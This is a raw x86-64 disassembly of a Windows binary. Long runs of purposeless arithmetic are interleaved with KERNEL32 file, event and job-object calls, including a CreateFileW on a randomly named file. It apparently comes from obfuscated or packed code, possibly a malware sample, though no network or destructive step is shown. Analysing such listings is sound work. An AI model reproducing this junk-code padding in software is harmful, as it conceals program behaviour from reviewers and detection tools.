movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x368c], ax
movzx eax, byte [0x1402acb3a]
movzx ecx, byte [rsp + 0x798]
add eax, ecx
mov byte [rsp + 0x784], al
mov rcx, qword [rsp + 0x19990]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xce70], eax
lea rdx, [rsp + 0x19b38]
mov rcx, qword [rsp + 0x19ae0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcf18], eax
mov rax, qword [rsp + 0x19880]
movzx eax, byte [rax]
mov byte [rsp + 0x7af], al
movsx eax, word [rsp + 0x269c]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x35ac], ax
mov eax, dword [rsp + 0xce98]
mov ecx, dword [rsp + 0xcec8]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad69c], eax
lea rax, [rsp + 0xceb4]
mov qword [rsp + 0x19b40], rax
movzx eax, word [rsp + 0x3628]
mov rcx, qword [0x1402bf700]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3684], ax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7ae], al
mov eax, dword [rsp + 0xcedc]
mov dword [rsp + 0xd010], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xcebc], eax
mov eax, dword [rsp + 0xcfdc]
mov ecx, dword [rsp + 0xce94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xceb8], eax
mov rax, qword [rsp + 0x19ab0]
mov rcx, qword [rsp + 0x19b18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcc18], eax
mov rax, qword [rsp + 0x19a70]
mov rcx, qword [rsp + 0x198f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd004], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov word [rsp + 0x36c8], ax
movzx eax, byte [rsp + 0x79b]
mov byte [0x1402bf6b8], al
mov rax, qword [rsp + 0x19ac0]
mov rcx, qword [rsp + 0x19a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fa4], eax
mov rax, qword [rsp + 0x19a48]
mov rcx, qword [rsp + 0x19a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xb35c], eax
mov eax, dword [rsp + 0xcfbc]
mov dword [rsp + 0xd014], eax
mov eax, dword [rsp + 0xcf48]
mov rcx, qword [rsp + 0x19a60]
mov qword [rsp + 0x19b48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19b48]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa528], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
mov dword [rsp + 0xd018], eax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19af8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x782], al
mov rax, qword [rsp + 0x19940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3694], ax
lea rax, [0x1402bf758]
mov qword [rsp + 0x19b50], rax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [0x1402bf6f0], al
mov eax, dword [rsp + 0xcffc]
mov ecx, dword [rsp + 0x83e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf34], eax
mov rax, qword [0x1402bf6c0]
mov rcx, qword [rsp + 0x19b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c14], eax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x795], al
mov rax, qword [0x1402bf700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2874]
sub eax, ecx
mov word [rsp + 0x364c], ax
mov rax, qword [rsp + 0x19a48]
mov eax, dword [rax]
mov dword [rsp + 0xd01c], eax
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfe8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa224], eax
mov rax, qword [rsp + 0x19a68]
mov eax, dword [rax]
mov dword [rsp + 0xd020], eax
mov rax, qword [rsp + 0x19a68]
mov rcx, qword [rsp + 0x19750]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcfc0], eax
movzx eax, byte [rsp + 0x7aa]
movzx ecx, byte [rsp + 0x78d]
and eax, ecx
mov byte [0x1402acb7a], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36ac]
imul eax, ecx
mov word [rsp + 0x2644], ax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x19af0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x196e0]
mov dword [rcx], eax
mov eax, dword [0x1402bf6bc]
mov ecx, dword [rsp + 0xcfbc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf60], eax
movzx eax, word [rsp + 0x3620]
mov word [rsp + 0x36cc], ax
mov rax, qword [rsp + 0x19a98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x789], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov word [rsp + 0x36d0], ax
mov dword [rsp + 0x2d650], 0x114
movzx eax, byte [rsp + 0x3a2]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x796], al
mov eax, dword [rsp + 0xcfac]
mov ecx, dword [rsp + 0xcf4c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x93f0], eax
mov eax, dword [rsp + 0xa6a4]
mov rcx, qword [rsp + 0x19850]
mov qword [rsp + 0x19b58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19b58]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad6a0], eax
mov rax, qword [rsp + 0x198f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x198c0]
mov qword [rsp + 0x19b60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19b60]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xaf94], eax
mov rax, qword [rsp + 0x19a90]
mov rcx, qword [0x1402bf760]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcf9c], eax
mov eax, dword [rsp + 0xc224]
mov dword [rsp + 0xd024], eax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a1]
imul eax, ecx
mov byte [rsp + 0xc2], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36d0]
and eax, ecx
mov word [rsp + 0x2aa4], ax
mov eax, dword [rsp + 0xd010]
mov dword [rsp + 0xd028], eax
mov rax, qword [rsp + 0x199f8]
mov ecx, dword [rsp + 0x9354]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf54], eax
mov rax, qword [rsp + 0x198b8]
mov ecx, dword [0x1402ad658]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc4b0], eax
mov rcx, qword [rsp + 0x19ae0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xcebc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.fNFFP8dP1pz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19b68], rax
mov rax, qword [rsp + 0x19b40]
mov rcx, qword [rsp + 0x19a60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad6a4], eax
lea rcx, [rsp + 0x2d410]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xcd2c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x785]
add eax, ecx
mov rcx, qword [rsp + 0x19830]
mov byte [rcx], al
movzx eax, word [rsp + 0x2874]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x369c], ax
movzx eax, byte [rsp + 0x789]
mov byte [rsp + 0x7b0], al
movsx eax, word [rsp + 0x3620]
movsx ecx, word [0x1402ad2f8]
sub eax, ecx
mov word [rsp + 0x2678], ax
mov eax, dword [rsp + 0xce90]
mov dword [rsp + 0xd02c], eax
mov rax, qword [rsp + 0x19980]
mov rcx, qword [rsp + 0x19b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x19988]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x666]
imul eax, eax, 0x62
mov byte [rsp + 0x38b], al
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x308c]
sub eax, ecx
mov word [rsp + 0x3678], ax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce7c]
xor ecx, eax
mov eax, ecx
mov dword [0x1402ad688], eax
mov eax, dword [rsp + 0xcf58]
mov rcx, qword [rsp + 0x198a8]
mov qword [rsp + 0x19b70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19b70]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd00c], eax
mov rax, qword [rsp + 0x198b8]
mov eax, dword [rax]
mov dword [rsp + 0xd030], eax
mov eax, dword [rsp + 0xcfac]
mov ecx, dword [rsp + 0x9c14]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf08], eax
lea rax, [rsp + 0x580]
mov qword [rsp + 0x19b78], rax
movzx eax, word [rsp + 0x3640]
movzx ecx, word [rsp + 0x364c]
cdq
idiv ecx
mov word [rsp + 0x252c], ax
mov rax, qword [rsp + 0x198f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19a30]
mov qword [rsp + 0x19b80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19b80]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xcf74], eax
mov rax, qword [rsp + 0x198e0]
mov eax, dword [rax]
mov dword [rsp + 0xd034], eax
mov eax, dword [rsp + 0xcfdc]
mov ecx, dword [rsp + 0xcec8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc7e0], eax
mov eax, dword [rsp + 0xcf5c]
mov dword [0x1402bf6b4], eax
mov eax, dword [rsp + 0xad2c]
mov dword [rsp + 0xd038], eax
mov rax, qword [rsp + 0x19a98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7ad]
and eax, ecx
mov byte [rsp + 0x782], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x35b4], ax
movzx eax, word [0x1402ad654]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1874], ax
movzx eax, byte [rsp + 0x7ae]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x78f], al
mov eax, dword [0x1402ad664]
mov dword [rsp + 0xd03c], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcfbc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xced4], eax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x590]
sub eax, ecx
mov byte [rsp + 0x580], al
mov edx, 0x1a9e
mov rcx, qword [rsp + 0x19a80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xd040], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2964]
add eax, ecx
mov word [0x1402ad670], ax
mov eax, dword [rsp + 0xcf78]
mov dword [rsp + 0xd044], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xceec], eax
mov rax, qword [rsp + 0x19a70]
mov rcx, qword [rsp + 0x198a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa24], eax
mov rax, qword [rsp + 0x19a48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcec4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x91fc], eax
mov eax, dword [rsp + 0xcd4c]
movzx ecx, al
mov eax, dword [rsp + 0xce98]
shl eax, cl
mov dword [rsp + 0xcf4c], eax
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
mov word [rsp + 0x36d4], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x787], al
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xcebc], eax
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc4b0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf74], eax
mov eax, dword [rsp + 0xcd98]
mov dword [rsp + 0xd048], eax
movsx eax, byte [rsp + 0x7b0]
movsx ecx, byte [rsp + 0x502]
sar eax, cl
mov byte [0x1402acb77], al
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3694], ax
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19848]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c3c], ax
movzx eax, byte [rsp + 0x788]
movzx ecx, byte [rsp + 0x78f]
add eax, ecx
mov rcx, qword [rsp + 0x19948]
mov byte [rcx], al
mov rax, qword [rsp + 0x19b08]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd02c], eax
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov dword [rsp + 0xd04c], eax
mov eax, dword [rsp + 0x8fec]
mov ecx, dword [rsp + 0xcf1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa24], eax
mov eax, dword [rsp + 0xceb4]
mov dword [rsp + 0xd050], eax
mov rax, qword [0x1402bf6c8]
mov ecx, dword [rsp + 0xcdf0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcff8], eax
movzx ecx, word [rsp + 0x35e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x36d8], ax
movzx eax, byte [rsp + 0x79d]
movzx ecx, byte [rsp + 0x79a]
sub eax, ecx
mov byte [rsp + 0xfd], al
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35f8]
sub eax, ecx
mov word [0x1402ad6a8], ax
mov rax, qword [rsp + 0x19af0]
mov ecx, dword [rsp + 0xb6f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb6d4], eax
mov rax, qword [rsp + 0x19a70]
mov rcx, qword [rsp + 0x19a60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcfe0], eax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov dword [rsp + 0xd054], eax
mov eax, dword [rsp + 0xcf08]
mov ecx, dword [rsp + 0xcffc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a90]
mov dword [rcx], eax
movzx eax, word [rsp + 0x3650]
mov word [rsp + 0x36dc], ax
movzx eax, byte [rsp + 0x783]
movzx ecx, byte [rsp + 0x45b]
sub eax, ecx
mov rcx, qword [rsp + 0x19830]
mov byte [rcx], al
movsx eax, word [rsp + 0x3630]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2cfc], ax
mov rax, qword [rsp + 0x19898]
movzx eax, byte [rax]
mov byte [rsp + 0x7b1], al
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov rcx, qword [0x1402bf6c0]
mov qword [rsp + 0x19b88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19b88]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad68c], eax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcf88]
sar eax, cl
mov dword [rsp + 0x8128], eax
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
movzx ecx, word [0x1402ad670]
or eax, ecx
mov word [rsp + 0x1de0], ax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc2], al
mov rax, qword [rsp + 0x19b18]
mov ecx, dword [0x1402ad64c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19750]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcee8]
mov dword [rsp + 0xd058], eax
mov rax, qword [rsp + 0x19b40]
mov ecx, dword [rsp + 0xd034]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcff8], eax
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov dword [rsp + 0xd05c], eax
movzx eax, byte [0x1402bf6f0]
movzx ecx, byte [rsp + 0x783]
imul eax, ecx
mov rcx, qword [rsp + 0x19828]
mov byte [rcx], al
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a88]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402ad6ac], ax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xcec8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19b08]
mov dword [rcx], eax
lea rax, [rsp + 0xcfa0]
mov qword [rsp + 0x19b90], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19840], rax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0x909c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19988]
mov ecx, dword [0x1402bf6e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xac7c], eax
mov rax, qword [rsp + 0x19780]
mov rcx, qword [rsp + 0x198f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce48], eax
movsx eax, byte [rsp + 0x79c]
mov rcx, qword [rsp + 0x19af8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55e], al
movzx eax, word [rsp + 0x365c]
mov word [rsp + 0x36e0], ax
movzx eax, byte [rsp + 0x79f]
mov rcx, qword [rsp + 0x19b78]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x794], al
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a88]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1402ad6a8], ax
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov dword [rsp + 0xd060], eax
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xceb8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9974], eax
movzx eax, word [rsp + 0x361c]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x20c8], ax
movzx eax, byte [rsp + 0x43a]
movzx ecx, byte [rsp + 0x785]
and eax, ecx
mov byte [rsp + 0x666], al
mov rax, qword [rsp + 0x19b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd030], eax
mov eax, dword [0x1402ad630]
mov dword [rsp + 0xd064], eax
lea rdx, [rsp + 0x2c008]
mov rcx, qword [rsp + 0x19ae0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcd24], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa528]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfe4], eax
xor r9d, r9d
lea r8, [rsp + 0x19b38]
mov rdx, qword [rsp + 0x19720]
mov rcx, qword [rsp + 0x199e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xccf8], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov dword [rsp + 0xd068], eax
mov rax, qword [0x1402bf6e8]
movzx eax, byte [rax]
mov byte [0x1402bf6b0], al
movzx eax, word [rsp + 0x366c]
mov rcx, qword [rsp + 0x19a28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3680], ax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19910]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcec8], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov ecx, dword [0x1402ad668]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9664], eax
movsx eax, byte [rsp + 0x7a6]
movsx ecx, byte [rsp + 0x7ac]
add eax, ecx
mov byte [rsp + 0x7ab], al
mov rax, qword [rsp + 0x19940]
movzx eax, word [rax]
mov word [rsp + 0x36e4], ax
movzx eax, byte [0x1402bf6f0]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x78d], al
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x25b8]
sub eax, ecx
mov word [rsp + 0x35fc], ax
lea rdx, [rsp + 0x19720]
mov rcx, qword [rsp + 0x19ab8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd06c], eax
mov eax, dword [rsp + 0xcf54]
mov dword [rsp + 0xd070], eax
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
mov ecx, dword [0x1402ad694]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad684], eax
mov eax, dword [rsp + 0xcea8]
movzx ecx, al
mov eax, dword [rsp + 0xcfa8]
shl eax, cl
mov dword [rsp + 0x9c0c], eax
mov rax, qword [0x1402bf760]
mov eax, dword [rax]
mov dword [rsp + 0xd074], eax
mov rax, qword [rsp + 0x19938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf28]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9664], eax
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4c2], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rax, qword [0x1402bf730]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x198e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb35c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x198a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
mov dword [rsp + 0xd078], eax
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rsp + 0xcdd8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa6a4], eax
mov rax, qword [rsp + 0x19a70]
mov rcx, qword [rsp + 0x19888]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad6b0], eax
movzx eax, word [rsp + 0x2874]
mov word [rsp + 0x36e8], ax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4c2]
sub eax, ecx
mov byte [rsp + 0x796], al
lea rcx, [rsp + 0x19ae8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x19af8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x102], al
movsx eax, word [rsp + 0x365c]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f80], ax
mov r9d, 2
lea r8, [rsp + 0x19918]
mov rdx, qword [rsp + 0x19918]
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd07c], eax
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf80]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd074], eax
mov rax, qword [rsp + 0x19988]
mov eax, dword [rax]
mov dword [rsp + 0xd080], eax
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3be]
imul eax, ecx
mov byte [rsp + 0x79d], al
movzx eax, word [rsp + 0x363c]
movzx ecx, word [rsp + 0x3660]
add eax, ecx
mov rcx, qword [rsp + 0x19950]
mov word [rcx], ax
mov rax, qword [0x1402bf6c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf40]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad664], eax
mov eax, dword [rsp + 0xd038]
mov dword [rsp + 0xd084], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfbc], eax
mov eax, dword [rsp + 0x83e4]
mov rcx, qword [rsp + 0x19ac0]
mov qword [rsp + 0x19b98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19b98]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa554], eax
movzx eax, word [rsp + 0x36d0]
mov rcx, qword [rsp + 0x19848]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x252c], ax
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x63d], al
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov dword [rsp + 0xd088], eax
mov rax, qword [rsp + 0x19888]
mov rcx, qword [rsp + 0x19740]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb1c8], eax
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov dword [rsp + 0xd08c], eax
mov eax, dword [rsp + 0xa934]
mov ecx, dword [rsp + 0xce28]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad6b4], eax
mov eax, dword [rsp + 0x9f6c]
mov ecx, dword [rsp + 0xce54]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x199c8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x36c0]
movsx ecx, word [rsp + 0x36cc]
add eax, ecx
mov word [rsp + 0x3304], ax
movsx eax, byte [rsp + 0x7b1]
movsx ecx, byte [rsp + 0x78b]
sub eax, ecx
mov byte [rsp + 0x1c1], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x35f0], ax
movzx eax, byte [rsp + 0x65e]
mov byte [rsp + 0x7b2], al
mov eax, dword [rsp + 0xcff4]
mov ecx, dword [rsp + 0x93f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2e8], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov dword [rsp + 0xd090], eax
movzx eax, word [rsp + 0x308c]
movzx ecx, word [0x1402ad650]
sub eax, ecx
mov word [rsp + 0x36a4], ax
movzx eax, byte [rsp + 0x3a2]
movzx ecx, byte [rsp + 0x7a9]
imul eax, ecx
mov byte [0x1402acb47], al
mov rcx, qword [rsp + 0x19a38]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcd28], eax
mov eax, dword [0x1402bf748]
mov ecx, dword [rsp + 0xcf70]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc264], eax
mov rax, qword [rsp + 0x198f0]
mov rcx, qword [rsp + 0x19740]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb2a8], eax
mov eax, dword [rsp + 0xcd70]
movzx ecx, al
mov eax, dword [rsp + 0xa528]
sar eax, cl
mov dword [rsp + 0xd008], eax
lea rax, [0x1402ad68c]
mov qword [rsp + 0x19ba0], rax
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18d8]
xor eax, ecx
mov word [rsp + 0x3654], ax
